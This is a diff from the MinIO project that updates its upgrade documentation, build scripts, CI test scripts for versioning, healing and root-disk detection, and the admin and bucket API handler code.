 mc admin update <minio alias, e.g., myminio>
 ```

- For deployments without external internet access (e.g. airgapped environments), download the binary from <https://dl.min.io> and replace the existing MinIO binary let's say for example `/opt/bin/minio`, apply executable permissions `chmod +x /opt/bin/minio` and do `mc admin service restart alias/`.
+- For deployments without external internet access (e.g. airgapped environments), download the binary from <https://dl.min.io> and replace the existing MinIO binary let's say for example `/opt/bin/minio`, apply executable permissions `chmod +x /opt/bin/minio` and proceed to perform `mc admin service restart alias/`.

- For installations using Systemd MinIO service, upgrade via RPM/DEB packages **parallelly** on all servers or replace the binary lets say `/opt/bin/minio` on all nodes, apply executable permissions `chmod +x /opt/bin/minio`. Proceed to perform `systemctl restart minio` across all nodes in **parallel**.
+- For installations using Systemd MinIO service, upgrade via RPM/DEB packages **parallelly** on all servers or replace the binary lets say `/opt/bin/minio` on all nodes, apply executable permissions `chmod +x /opt/bin/minio` and process to perform `mc admin service restart alias/`.

 ### Upgrade Checklist

 - Test all upgrades in a lower environment (DEV, QA, UAT) before applying to production. Performing blind upgrades in production environments carries significant risk.
- Read the release notes for the targeted MinIO release *before* performing any installation, there is no forced requirement to upgrade to latest releases every week. If it has a bug fix you are looking for then yes, else avoid actively upgrading a running production system.
- If you plan to use `mc admin update`, MinIO process must have write access to the parent directory to provide in-place upgrades.
- `mc admin update` is not supported in kubernetes/container environments, container environments provide their own mechanisms for container updates.
+- Read the release notes for MinIO *before* performing any upgrade, there is no forced requirement to upgrade to latest releases upon every releases. Some releases may not be relevant to your setup, avoid upgrading production environments unnecessarily.
+- If you plan to use `mc admin update`, MinIO process must have write access to the parent directory where the binary is present on the host system.
+- `mc admin update` is not supported and should be avoided in kubernetes/container environments, please upgrade containers by upgrading relevant container images.
 - **We do not recommend upgrading one MinIO server at a time, the product is designed to support parallel upgrades please follow our recommended guidelines.**

 ## Explore Further

- [MinIO Erasure Code QuickStart Guide](https://docs.min.io/docs/minio-erasure-code-quickstart-guide)
- [Use `mc` with MinIO Server](https://docs.min.io/docs/minio-client-quickstart-guide)
- [Use `aws-cli` with MinIO Server](https://docs.min.io/docs/aws-cli-with-minio)
- [Use `s3cmd` with MinIO Server](https://docs.min.io/docs/s3cmd-with-minio)
- [Use `minio-go` SDK with MinIO Server](https://docs.min.io/docs/golang-client-quickstart-guide)
- [The MinIO documentation website](https://docs.min.io)
+- [MinIO Erasure Code Overview](https://min.io/docs/minio/linux/operations/concepts/erasure-coding.html)
+- [Use `mc` with MinIO Server](https://min.io/docs/minio/linux/reference/minio-mc.html)
+- [Use `minio-go` SDK with MinIO Server](https://min.io/docs/minio/linux/developers/go/minio-go.html)
+- [The MinIO documentation website](https://min.io/docs/minio/linux/index.html)

 ## Contribute to MinIO Project

@@ -9,7 +9,7 @@ function _init() {
    export CGO_ENABLED=0

    ## List of architectures and OS to test coss compilation.
-    SUPPORTED_OSARCH="linux/ppc64le linux/mips64 linux/arm64 linux/s390x darwin/arm64 darwin/amd64 freebsd/amd64 windows/amd64 linux/arm linux/386 netbsd/amd64 linux/mips openbsd/amd64"
+    SUPPORTED_OSARCH="linux/ppc64le linux/mips64 linux/amd64 linux/arm64 linux/s390x darwin/arm64 darwin/amd64 freebsd/amd64 windows/amd64 linux/arm linux/386 netbsd/amd64 linux/mips openbsd/amd64"
 }

 function _build() {
@@ -24,14 +24,18 @@ import (
 	"fmt"
 	"os"
 	"os/exec"
+	"strconv"
 	"strings"
 	"time"
 )

 func genLDFlags(version string) string {
+	releaseTag, date := releaseTag(version)
+	copyrightYear := strconv.Itoa(date.Year())
 	ldflagsStr := "-s -w"
 	ldflagsStr += " -X github.com/minio/minio/cmd.Version=" + version
-	ldflagsStr += " -X github.com/minio/minio/cmd.ReleaseTag=" + releaseTag(version)
+	ldflagsStr += " -X github.com/minio/minio/cmd.CopyrightYear=" + copyrightYear
+	ldflagsStr += " -X github.com/minio/minio/cmd.ReleaseTag=" + releaseTag
 	ldflagsStr += " -X github.com/minio/minio/cmd.CommitID=" + commitID()
 	ldflagsStr += " -X github.com/minio/minio/cmd.ShortCommitID=" + commitID()[:12]
 	ldflagsStr += " -X github.com/minio/minio/cmd.GOPATH=" + os.Getenv("GOPATH")
@@ -40,7 +44,7 @@ func genLDFlags(version string) string {
 }

 // genReleaseTag prints release tag to the console for easy git tagging.
-func releaseTag(version string) string {
+func releaseTag(version string) (string, time.Time) {
 	relPrefix := "DEVELOPMENT"
 	if prefix := os.Getenv("MINIO_RELEASE"); prefix != "" {
 		relPrefix = prefix
@@ -53,14 +57,17 @@ func releaseTag(version string) string {

 	relTag := strings.Replace(version, " ", "-", -1)
 	relTag = strings.Replace(relTag, ":", "-", -1)
+	t, err := time.Parse("2006-01-02T15-04-05Z", relTag)
+	if err != nil {
+		panic(err)
+	}
 	relTag = strings.Replace(relTag, ",", "", -1)
 	relTag = relPrefix + "." + relTag
-
 	if relSuffix != "" {
 		relTag += "." + relSuffix
 	}

-	return relTag
+	return relTag, t
 }

 // commitID returns the abbreviated commit-id hash of the last commit.
@@ -0,0 +1,93 @@
+#!/bin/bash -e
+
+set -E
+set -o pipefail
+set -x
+
+WORK_DIR="$PWD/.verify-$RANDOM"
+MINIO_CONFIG_DIR="$WORK_DIR/.minio"
+MINIO=( "$PWD/minio" --config-dir "$MINIO_CONFIG_DIR" server )
+
+if [ ! -x "$PWD/minio" ]; then
+    echo "minio executable binary not found in current directory"
+    exit 1
+fi
+
+if [ ! -x "$PWD/minio" ]; then
+    echo "minio executable binary not found in current directory"
+    exit 1
+fi
+
+function start_minio_4drive() {
+    start_port=$1
+
+    export MINIO_ROOT_USER=minio
+    export MINIO_ROOT_PASSWORD=minio123
+    export MC_HOST_minio="http://minio:minio123@127.0.0.1:${start_port}/"
+    unset MINIO_KMS_AUTO_ENCRYPTION # do not auto-encrypt objects
+    export MINIO_CI_CD=1
+
+    mkdir ${WORK_DIR}
+    C_PWD=${PWD}
+    if [ ! -x "$PWD/mc" ]; then
+	MC_BUILD_DIR="mc-$RANDOM"
+	if ! git clone --quiet https://github.com/minio/mc "$MC_BUILD_DIR"; then
+	    echo "failed to download https://github.com/minio/mc"
+	    purge "${MC_BUILD_DIR}"
+	    exit 1
+	fi
+
+	(cd "${MC_BUILD_DIR}" && go build -o "$C_PWD/mc")
+
+	# remove mc source.
+	purge "${MC_BUILD_DIR}"
+    fi
+
+    "${MINIO[@]}" --address ":$start_port" "${WORK_DIR}/disk{1...4}" > "${WORK_DIR}/server1.log" 2>&1 &
+    pid=$!
+    disown $pid
+    sleep 5
+
+    if ! ps -p ${pid} 1>&2 >/dev/null; then
+	echo "server1 log:"
+	cat "${WORK_DIR}/server1.log"
+	echo "FAILED"
+	purge "$WORK_DIR"
+	exit 1
+    fi
+
+    "${PWD}/mc" mb --with-versioning minio/bucket
+
+    for i in $(seq 1 4); do
+	"${PWD}/mc" cp /etc/hosts minio/bucket/testobj
+
+	sudo chown -R root. "${WORK_DIR}/disk${i}"
+
+	"${PWD}/mc" cp /etc/hosts minio/bucket/testobj
+
+	sudo chown -R ${USER}. "${WORK_DIR}/disk${i}"
+    done
+
+    for vid in $("${PWD}/mc" ls --json --versions minio/bucket/testobj | jq -r .versionId); do
+	"${PWD}/mc" cat --vid "${vid}" minio/bucket/testobj | md5sum
+    done
+
+    pkill minio
+    sleep 3
+}
+
+function main() {
+    start_port=$(shuf -i 10000-65000 -n 1)
+
+    start_minio_4drive ${start_port}
+}
+
+function purge()
+{
+    rm -rf "$1"
+}
+
+( main "$@" )
+rv=$?
+purge "$WORK_DIR"
+exit "$rv"
@@ -0,0 +1,87 @@
+//go:build ignore
+// +build ignore
+
+//
+// MinIO Object Storage (c) 2022 MinIO, Inc.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package main
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"log"
+	"os"
+	"time"
+
+	"github.com/minio/madmin-go/v2"
+)
+
+func main() {
+	// Note: YOUR-ACCESSKEYID, YOUR-SECRETACCESSKEY are
+	// dummy values, please replace them with original values.
+
+	// API requests are secure (HTTPS) if secure=true and insecure (HTTP) otherwise.
+	// New returns an MinIO Admin client object.
+	madmClnt, err := madmin.New(os.Args[1], os.Args[2], os.Args[3], false)
+	if err != nil {
+		log.Fatalln(err)
+	}
+
+	opts := madmin.HealOpts{
+		Recursive: true,                  // recursively heal all objects at 'prefix'
+		Remove:    true,                  // remove content that has lost quorum and not recoverable
+		Recreate:  true,                  // rewrite all old non-inlined xl.meta to new xl.meta
+		ScanMode:  madmin.HealNormalScan, // by default do not do 'deep' scanning
+	}
+
+	start, _, err := madmClnt.Heal(context.Background(), "healing-rewrite-bucket", "", opts, "", false, false)
+	if err != nil {
+		log.Fatalln(err)
+	}
+	fmt.Println("Healstart sequence ===")
+	enc := json.NewEncoder(os.Stdout)
+	if err = enc.Encode(&start); err != nil {
+		log.Fatalln(err)
+	}
+
+	fmt.Println()
+	for {
+		_, status, err := madmClnt.Heal(context.Background(), "healing-rewrite-bucket", "", opts, start.ClientToken, false, false)
+		if status.Summary == "finished" {
+			fmt.Println("Healstatus on items ===")
+			for _, item := range status.Items {
+				if err = enc.Encode(&item); err != nil {
+					log.Fatalln(err)
+				}
+			}
+			break
+		}
+		if status.Summary == "stopped" {
+			fmt.Println("Healstatus on items ===")
+			fmt.Println("Heal failed with", status.FailureDetail)
+			break
+		}
+
+		for _, item := range status.Items {
+			if err = enc.Encode(&item); err != nil {
+				log.Fatalln(err)
+			}
+		}
+
+		time.Sleep(time.Second)
+	}
+}
@@ -66,7 +66,7 @@ __init__() {
    mc mb minio/minio-test/
    mc cp ./minio minio/minio-test/to-read/
    mc cp /etc/hosts minio/minio-test/to-read/hosts
-    mc policy set download minio/minio-test
+    mc anonymous set download minio/minio-test

    verify_checksum_mc ./minio minio/minio-test/to-read/minio

@@ -3,6 +3,8 @@
 set -e

 export GORACE="history_size=7"
+export MINIO_API_REQUESTS_MAX=10000
+
 ## TODO remove `dsync` from race detector once this is merged and released https://go-review.googlesource.com/c/go/+/333529/
 for d in $(go list ./... | grep -v dsync); do
    CGO_ENABLED=1 go test -v -race --timeout 100m "$d"
@@ -39,7 +39,7 @@ function start_minio_5drive() {
    "${MINIO[@]}" --address ":$start_port" "${WORK_DIR}/cicd-corpus/disk{1...5}" > "${WORK_DIR}/server1.log" 2>&1 &
    pid=$!
    disown $pid
-    sleep 30
+    sleep 5

    if ! ps -p ${pid} 1>&2 >/dev/null; then
 	echo "server1 log:"
@@ -0,0 +1,151 @@
+#!/bin/bash -e
+
+set -E
+set -o pipefail
+set -x
+
+WORK_DIR="$PWD/.verify-$RANDOM"
+MINIO_CONFIG_DIR="$WORK_DIR/.minio"
+MINIO_OLD=( "$PWD/minio.RELEASE.2020-10-28T08-16-50Z" --config-dir "$MINIO_CONFIG_DIR" server )
+MINIO=( "$PWD/minio" --config-dir "$MINIO_CONFIG_DIR" server )
+
+if [ ! -x "$PWD/minio" ]; then
+    echo "minio executable binary not found in current directory"
+    exit 1
+fi
+
+function download_old_release() {
+    if [ ! -f minio.RELEASE.2020-10-28T08-16-50Z ]; then
+	curl --silent -O https://dl.minio.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2020-10-28T08-16-50Z
+	chmod a+x minio.RELEASE.2020-10-28T08-16-50Z
+    fi
+}
+
+function verify_rewrite() {
+    start_port=$1
+
+    export MINIO_ACCESS_KEY=minio
+    export MINIO_SECRET_KEY=minio123
+    export MC_HOST_minio="http://minio:minio123@127.0.0.1:${start_port}/"
+    unset MINIO_KMS_AUTO_ENCRYPTION # do not auto-encrypt objects
+    export MINIO_CI_CD=1
+
+    MC_BUILD_DIR="mc-$RANDOM"
+    if ! git clone --quiet https://github.com/minio/mc "$MC_BUILD_DIR"; then
+	echo "failed to download https://github.com/minio/mc"
+	purge "${MC_BUILD_DIR}"
+	exit 1
+    fi
+
+    (cd "${MC_BUILD_DIR}" && go build -o "$WORK_DIR/mc")
+
+    # remove mc source.
+    purge "${MC_BUILD_DIR}"
+
+    "${MINIO_OLD[@]}" --address ":$start_port" "${WORK_DIR}/xl{1...16}" > "${WORK_DIR}/server1.log" 2>&1 &
+    pid=$!
+    disown $pid
+    sleep 10
+
+    if ! ps -p ${pid} 1>&2 >/dev/null; then
+	echo "server1 log:"
+	cat "${WORK_DIR}/server1.log"
+	echo "FAILED"
+	purge "$WORK_DIR"
+	exit 1
+    fi
+
+    "${WORK_DIR}/mc" mb minio/healing-rewrite-bucket --quiet --with-lock
+    "${WORK_DIR}/mc" cp \
+		     buildscripts/verify-build.sh \
+		     minio/healing-rewrite-bucket/ \
+		     --disable-multipart --quiet
+
+    "${WORK_DIR}/mc" cp \
+		     buildscripts/verify-build.sh \
+		     minio/healing-rewrite-bucket/ \
+		     --disable-multipart --quiet
+
+    "${WORK_DIR}/mc" cp \
+		     buildscripts/verify-build.sh \
+		     minio/healing-rewrite-bucket/ \
+		     --disable-multipart --quiet
+
+    kill ${pid}
+    sleep 3
+
+    "${MINIO[@]}" --address ":$start_port" "${WORK_DIR}/xl{1...16}" > "${WORK_DIR}/server1.log" 2>&1 &
+    pid=$!
+    disown $pid
+    sleep 10
+
+    if ! ps -p ${pid} 1>&2 >/dev/null; then
+	echo "server1 log:"
+	cat "${WORK_DIR}/server1.log"
+	echo "FAILED"
+	purge "$WORK_DIR"
+	exit 1
+    fi
+
+    go build ./docs/debugging/s3-check-md5/
+    if ! ./s3-check-md5 \
+	 -debug \
+	 -versions \
+	 -access-key minio \
+	 -secret-key minio123 \
+	 -endpoint http://127.0.0.1:${start_port}/ 2>&1 | grep INTACT; then
+	echo "server1 log:"
+	cat "${WORK_DIR}/server1.log"
+	echo "FAILED"
+	mkdir -p inspects
+	(cd inspects; "${WORK_DIR}/mc" admin inspect minio/healing-rewrite-bucket/verify-build.sh/**)
+
+	"${WORK_DIR}/mc" mb play/inspects
+	"${WORK_DIR}/mc" mirror inspects play/inspects
+
+	purge "$WORK_DIR"
+	exit 1
+    fi
+
+    go run ./buildscripts/heal-manual.go "127.0.0.1:${start_port}" "minio" "minio123"
+    sleep 1
+
+    if ! ./s3-check-md5 \
+	 -debug \
+	 -versions \
+	 -access-key minio \
+	 -secret-key minio123 \
+	 -endpoint http://127.0.0.1:${start_port}/ 2>&1 | grep INTACT; then
+	echo "server1 log:"
+	cat "${WORK_DIR}/server1.log"
+	echo "FAILED"
+	mkdir -p inspects
+	(cd inspects; "${WORK_DIR}/mc" admin inspect minio/healing-rewrite-bucket/verify-build.sh/**)
+
+	"${WORK_DIR}/mc" mb play/inspects
+	"${WORK_DIR}/mc" mirror inspects play/inspects
+
+	purge "$WORK_DIR"
+	exit 1
+    fi
+
+    kill ${pid}
+}
+
+function main() {
+    download_old_release
+
+    start_port=$(shuf -i 10000-65000 -n 1)
+
+    verify_rewrite ${start_port}
+}
+
+function purge()
+{
+    rm -rf "$1"
+}
+
+( main "$@" )
+rv=$?
+purge "$WORK_DIR"
+exit "$rv"
@@ -120,7 +120,7 @@ function start_minio_16drive() {
 	cat "${WORK_DIR}/server1.log"
 	echo "FAILED"
 	mkdir -p inspects
-	(cd inspects; "${WORK_DIR}/mc" admin inspect minio/healing-shard-bucket/unaligned/**)
+	(cd inspects; "${WORK_DIR}/mc" support inspect minio/healing-shard-bucket/unaligned/**)

 	"${WORK_DIR}/mc" mb play/inspects
 	"${WORK_DIR}/mc" mirror inspects play/inspects
@@ -140,7 +140,7 @@ function start_minio_16drive() {
 	cat "${WORK_DIR}/server1.log"
 	echo "FAILED"
 	mkdir -p inspects
-	(cd inspects; "${WORK_DIR}/mc" admin inspect minio/healing-shard-bucket/unaligned/**)
+	(cd inspects; "${WORK_DIR}/mc" support inspect minio/healing-shard-bucket/unaligned/**)

 	"${WORK_DIR}/mc" mb play/inspects
 	"${WORK_DIR}/mc" mirror inspects play/inspects
@@ -0,0 +1,97 @@
+#!/bin/bash -e
+
+set -E
+set -o pipefail
+set -x
+
+
+if [ ! -x "$PWD/minio" ]; then
+    echo "minio executable binary not found in current directory"
+    exit 1
+fi
+
+WORK_DIR="$(mktemp -d)"
+MINIO_CONFIG_DIR="$WORK_DIR/.minio"
+MINIO=( "$PWD/minio" --config-dir "$MINIO_CONFIG_DIR" server )
+
+
+function start_minio() {
+    start_port=$1
+
+    export MINIO_ROOT_USER=minio
+    export MINIO_ROOT_PASSWORD=minio123
+    unset MINIO_KMS_AUTO_ENCRYPTION # do not auto-encrypt objects
+    unset MINIO_CI_CD
+    unset CI
+
+    args=()
+    for i in $(seq 1 4); do
+            args+=("http://localhost:$[${start_port}+$i]${WORK_DIR}/mnt/disk$i/ ")
+    done
+
+    for i in $(seq 1 4); do
+            "${MINIO[@]}" --address ":$[$start_port+$i]" ${args[@]} 2>&1 >"${WORK_DIR}/server$i.log" &
+    done
+
+    # Wait until all nodes return 403
+    for i in $(seq 1 4); do
+	    while [ "$(curl -m 1 -s -o /dev/null -w "%{http_code}" http://localhost:$[$start_port+$i])" -ne "403" ]; do
+		    echo -n ".";
+                    sleep 1;
+            done
+    done
+
+ }
+
+# Prepare fake disks with losetup
+function prepare_block_devices() {
+        mkdir -p ${WORK_DIR}/disks/ ${WORK_DIR}/mnt/
+        for i in 1 2 3 4; do
+                dd if=/dev/zero of=${WORK_DIR}/disks/img.$i bs=1M count=2048
+                mkfs.ext4 -F ${WORK_DIR}/disks/img.$i
+                sudo mknod /dev/minio-loopdisk$i b 7 $[256-$i]
+                sudo losetup /dev/minio-loopdisk$i ${WORK_DIR}/disks/img.$i
+                mkdir -p ${WORK_DIR}/mnt/disk$i/
+                sudo mount /dev/minio-loopdisk$i ${WORK_DIR}/mnt/disk$i/
+                sudo chown "$(id -u):$(id -g)" /dev/minio-loopdisk$i ${WORK_DIR}/mnt/disk$i/
+        done
+}
+
+# Start a distributed MinIO setup, unmount one disk and check if it is formatted
+function main() {
+    start_port=$(shuf -i 10000-65000 -n 1)
+    start_minio ${start_port}
+
+    # Unmount the disk, after the unmount the device id
+    # /tmp/xxx/mnt/disk4 will be the same as '/' and it
+    # will be detected as root disk
+    while [ "$u" != "0" ]; do
+	    sudo umount ${WORK_DIR}/mnt/disk4/
+	    u=$?
+	    sleep 1
+    done
+
+    # Wait until MinIO self heal kicks in
+    sleep 60
+
+    if [ -f ${WORK_DIR}/mnt/disk4/.minio.sys/format.json ]; then
+	    echo "A root disk is formatted unexpectedely"
+            cat "${WORK_DIR}/server4.log"
+            exit -1
+    fi
+}
+
+function cleanup() {
+    pkill minio
+    sudo umount ${WORK_DIR}/mnt/disk{1..3}/
+    sudo rm /dev/minio-loopdisk*
+    rm -rf "$WORK_DIR"
+}
+
+( prepare_block_devices )
+( main "$@" )
+rv=$?
+
+cleanup
+exit "$rv"
+
@@ -22,9 +22,9 @@ import (
 	"io"
 	"net/http"

-	"github.com/gorilla/mux"
 	xhttp "github.com/minio/minio/internal/http"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/bucket/policy"
 )

@@ -80,7 +80,7 @@ func (api objectAPIHandlers) PutBucketACLHandler(w http.ResponseWriter, r *http.
 	}

 	// Before proceeding validate if bucket exists.
-	_, err := objAPI.GetBucketInfo(ctx, bucket)
+	_, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{})
 	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
@@ -142,7 +142,7 @@ func (api objectAPIHandlers) GetBucketACLHandler(w http.ResponseWriter, r *http.
 	}

 	// Before proceeding validate if bucket exists.
-	_, err := objAPI.GetBucketInfo(ctx, bucket)
+	_, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{})
 	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
@@ -18,15 +18,30 @@
 package cmd

 import (
+	"bytes"
+	"encoding/base64"
 	"encoding/json"
+	"encoding/xml"
+	"errors"
+	"fmt"
 	"io"
-	"io/ioutil"
 	"net/http"
+	"strings"
+	"time"

-	"github.com/gorilla/mux"
 	jsoniter "github.com/json-iterator/go"
-	"github.com/minio/madmin-go"
+	"github.com/klauspost/compress/zip"
+	"github.com/minio/kes"
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/minio-go/v7/pkg/tags"
+	"github.com/minio/minio/internal/bucket/lifecycle"
+	objectlock "github.com/minio/minio/internal/bucket/object/lock"
+	"github.com/minio/minio/internal/bucket/versioning"
+	"github.com/minio/minio/internal/event"
+	"github.com/minio/minio/internal/kms"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
+	"github.com/minio/pkg/bucket/policy"
 	iampolicy "github.com/minio/pkg/iam/policy"
 )

@@ -47,19 +62,18 @@ func (a adminAPIHandlers) PutBucketQuotaConfigHandler(w http.ResponseWriter, r *

 	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.SetBucketQuotaAdminAction)
 	if objectAPI == nil {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)
 		return
 	}

 	vars := mux.Vars(r)
 	bucket := pathClean(vars["bucket"])

-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

-	data, err := ioutil.ReadAll(r.Body)
+	data, err := io.ReadAll(r.Body)
 	if err != nil {
 		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)
 		return
@@ -76,25 +90,24 @@ func (a adminAPIHandlers) PutBucketQuotaConfigHandler(w http.ResponseWriter, r *
 		return
 	}

-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketQuotaConfigFile, data); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketQuotaConfigFile, data)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

 	bucketMeta := madmin.SRBucketMeta{
-		Type:   madmin.SRBucketMetaTypeQuotaConfig,
-		Bucket: bucket,
-		Quota:  data,
+		Type:      madmin.SRBucketMetaTypeQuotaConfig,
+		Bucket:    bucket,
+		Quota:     data,
+		UpdatedAt: updatedAt,
 	}
 	if quotaConfig.Quota == 0 {
 		bucketMeta.Quota = nil
 	}

 	// Call site replication hook.
-	if err = globalSiteReplicationSys.BucketMetaHook(ctx, bucketMeta); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, bucketMeta))

 	// Write success response.
 	writeSuccessResponseHeadersOnly(w)
@@ -108,14 +121,13 @@ func (a adminAPIHandlers) GetBucketQuotaConfigHandler(w http.ResponseWriter, r *

 	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.GetBucketQuotaAdminAction)
 	if objectAPI == nil {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)
 		return
 	}

 	vars := mux.Vars(r)
 	bucket := pathClean(vars["bucket"])

-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -145,20 +157,14 @@ func (a adminAPIHandlers) SetRemoteTargetHandler(w http.ResponseWriter, r *http.
 	bucket := pathClean(vars["bucket"])
 	update := r.Form.Get("update") == "true"

-	if globalIsGateway {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
-
 	// Get current object layer instance.
 	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.SetBucketTargetAction)
 	if objectAPI == nil {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)
 		return
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -192,7 +198,18 @@ func (a adminAPIHandlers) SetRemoteTargetHandler(w http.ResponseWriter, r *http.
 	if update {
 		ops = madmin.GetTargetUpdateOps(r.Form)
 	} else {
-		target.Arn = globalBucketTargetSys.getRemoteARN(bucket, &target)
+		var exists bool // true if arn exists
+		target.Arn, exists = globalBucketTargetSys.getRemoteARN(bucket, &target)
+		if exists && target.Arn != "" { // return pre-existing ARN
+			data, err := json.Marshal(target.Arn)
+			if err != nil {
+				writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+				return
+			}
+			// Write success response.
+			writeSuccessResponseJSON(w, data)
+			return
+		}
 	}
 	if target.Arn == "" {
 		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)
@@ -208,8 +225,10 @@ func (a adminAPIHandlers) SetRemoteTargetHandler(w http.ResponseWriter, r *http.
 		for _, op := range ops {
 			switch op {
 			case madmin.CredentialsUpdateType:
-				tgt.Credentials = target.Credentials
-				tgt.TargetBucket = target.TargetBucket
+				if !globalSiteReplicationSys.isEnabled() {
+					tgt.Credentials = target.Credentials
+					tgt.TargetBucket = target.TargetBucket
+				}
 				tgt.Secure = target.Secure
 				tgt.Endpoint = target.Endpoint
 			case madmin.SyncUpdateType:
@@ -234,7 +253,7 @@ func (a adminAPIHandlers) SetRemoteTargetHandler(w http.ResponseWriter, r *http.
 	}
 	if err = globalBucketTargetSys.SetTarget(ctx, bucket, &target, update); err != nil {
 		switch err.(type) {
-		case BucketRemoteConnectionErr:
+		case RemoteTargetConnectionErr:
 			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrReplicationRemoteConnectionError, err), r.URL)
 		default:
 			writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
@@ -251,7 +270,7 @@ func (a adminAPIHandlers) SetRemoteTargetHandler(w http.ResponseWriter, r *http.
 		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)
 		return
 	}
-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketTargetsFile, tgtBytes); err != nil {
+	if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketTargetsFile, tgtBytes); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -275,19 +294,14 @@ func (a adminAPIHandlers) ListRemoteTargetsHandler(w http.ResponseWriter, r *htt
 	bucket := pathClean(vars["bucket"])
 	arnType := vars["type"]

-	if globalIsGateway {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
 	// Get current object layer instance.
 	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.GetBucketTargetAction)
 	if objectAPI == nil {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)
 		return
 	}
 	if bucket != "" {
 		// Check if bucket exists.
-		if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+		if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 			writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
 			return
 		}
@@ -315,19 +329,14 @@ func (a adminAPIHandlers) RemoveRemoteTargetHandler(w http.ResponseWriter, r *ht
 	bucket := pathClean(vars["bucket"])
 	arn := vars["arn"]

-	if globalIsGateway {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
 	// Get current object layer instance.
 	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.SetBucketTargetAction)
 	if objectAPI == nil {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)
 		return
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -346,7 +355,7 @@ func (a adminAPIHandlers) RemoveRemoteTargetHandler(w http.ResponseWriter, r *ht
 		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)
 		return
 	}
-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketTargetsFile, tgtBytes); err != nil {
+	if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketTargetsFile, tgtBytes); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -354,3 +363,774 @@ func (a adminAPIHandlers) RemoveRemoteTargetHandler(w http.ResponseWriter, r *ht
 	// Write success response.
 	writeSuccessNoContent(w)
 }
+
+// ExportBucketMetadataHandler - exports all bucket metadata as a zipped file
+func (a adminAPIHandlers) ExportBucketMetadataHandler(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "ExportBucketMetadata")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
